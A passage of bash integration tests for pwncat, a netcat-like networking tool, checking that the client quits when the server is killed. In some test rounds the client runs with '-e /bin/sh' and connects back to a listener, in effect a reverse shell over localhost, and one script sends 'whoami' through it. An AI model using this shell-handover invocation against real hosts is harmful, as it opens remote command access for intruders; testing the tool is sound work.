"${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(3/4) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Client shut down automatically # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Client shut down automatically" # [CLIENT] Ensure Client has quit automatically test_case_instance_is_stopped "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" # No verbosity run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" # No verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done 001---tcp---client_quits---when_server_is_killed---client_default---after_client_sent_data.sh000077500000000000000000000165721414025024700441720ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/01-behaviour-quit--client#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/5) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/5) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/5) Transfer: Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}" "${data_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(4/5) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Client shut down automatically # -------------------------------------------------------------------------------- print_h2 "(5/5) Test: Client shut down automatically" # [CLIENT] Ensure Client has quit automatically test_case_instance_is_stopped "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" # No verbosity run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" # No verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done 002---tcp---client_quits---when_server_is_killed---client_default---after_server_sent_data.sh000077500000000000000000000165721414025024700442230ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/01-behaviour-quit--client#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/5) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/5) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/5) Transfer: Server -> Client" # [SERVER -> Client] wait_for_data_transferred "" "${data}" "${data_or}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(4/5) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Client shut down automatically # -------------------------------------------------------------------------------- print_h2 "(5/5) Test: Client shut down automatically" # [CLIENT] Ensure Client has quit automatically test_case_instance_is_stopped "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done 003---tcp---client_quits---when_server_is_killed---client_command---before_send.sh000077500000000000000000000162001414025024700417440ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/01-behaviour-quit--client#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" #local data= #local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### #data="abcdefghijklmnopqrstuvwxyz1234567890\\n" #data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(3/4) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Client shut down automatically # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Client shut down automatically" # [CLIENT] Ensure Client has quit automatically test_case_instance_is_stopped "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown -e /bin/sh " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown -e /bin/sh " "16" "16" "${curr_round}" "${RUNS}" done 004---tcp---client_quits---when_server_is_killed---client_command---after_server_sent_command.sh000077500000000000000000000170111414025024700447110ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/01-behaviour-quit--client#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="whoami\\n" expect="$(whoami)\\n" expect_or="$(whoami)\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/5) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/5) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/5) Transfer: Server -> Client -> Server" # CLIENT] -> [SERVER] wait_for_data_transferred "" "${expect}" "${expect_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(4/5) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" 